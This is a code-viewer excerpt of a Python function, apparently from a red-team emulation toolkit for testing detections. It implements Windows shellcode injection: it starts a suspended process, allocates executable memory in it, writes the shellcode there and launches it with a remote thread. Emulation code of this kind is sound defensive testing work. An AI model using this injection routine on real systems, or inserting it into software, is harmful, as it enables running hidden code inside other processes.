def inject_shellcode()

in cortado/rtas/_common.py [0:0]

• 37 lines of code
• 3 McCabe index (conditional complexity)

def inject_shellcode(path: Path, shellcode: bytes):
    import ctypes
    import ctypes.wintypes
    from ctypes import windll
    from ctypes.wintypes import BOOL, DWORD, HANDLE, LPCVOID, LPVOID

    import win32process

    # created suspended process
    info = win32process.CreateProcess(None, path, None, None, False, 0x04, None, None, win32process.STARTUPINFO())
    page_rwx_value = 0x40
    memcommit = 0x00001000

    class _SECURITY_ATTRIBUTES(ctypes.Structure):
        _fields_ = [
            ("nLength", DWORD),
            ("lpSecurityDescriptor", LPVOID),
            ("bInheritHandle", BOOL),
        ]

    LPSECURITY_ATTRIBUTES = ctypes.POINTER(_SECURITY_ATTRIBUTES)
    LPTHREAD_START_ROUTINE = LPVOID

    if info[0].handle > 0:
        log.info(f"Created {path} Suspended")
    shellcode_length = len(shellcode)
    process_handle = info[0].handle  # phandle
    VirtualAllocEx = windll.kernel32.VirtualAllocEx
    VirtualAllocEx.restype = LPVOID
    VirtualAllocEx.argtypes = (HANDLE, LPVOID, DWORD, DWORD, DWORD)

    WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
    WriteProcessMemory.restype = BOOL
    WriteProcessMemory.argtypes = (HANDLE, LPVOID, LPCVOID, DWORD, DWORD)
    CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread
    CreateRemoteThread.restype = HANDLE
    CreateRemoteThread.argtypes = (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, LPTHREAD_START_ROUTINE, LPVOID, DWORD, DWORD)

    # allocate RWX memory
    lpBuffer = VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
    log.info(f"Allocated remote memory at {hex(lpBuffer)}")

    # write shellcode in allocated memory
    res = WriteProcessMemory(process_handle, lpBuffer, shellcode, shellcode_length, 0)
    if res > 0:
        log.info("Shellcode written")

    # create remote thread to start shellcode execution
    CreateRemoteThread(process_handle, None, 0, lpBuffer, 0, 0, 0)
    log.info("Shellcode Injection, done")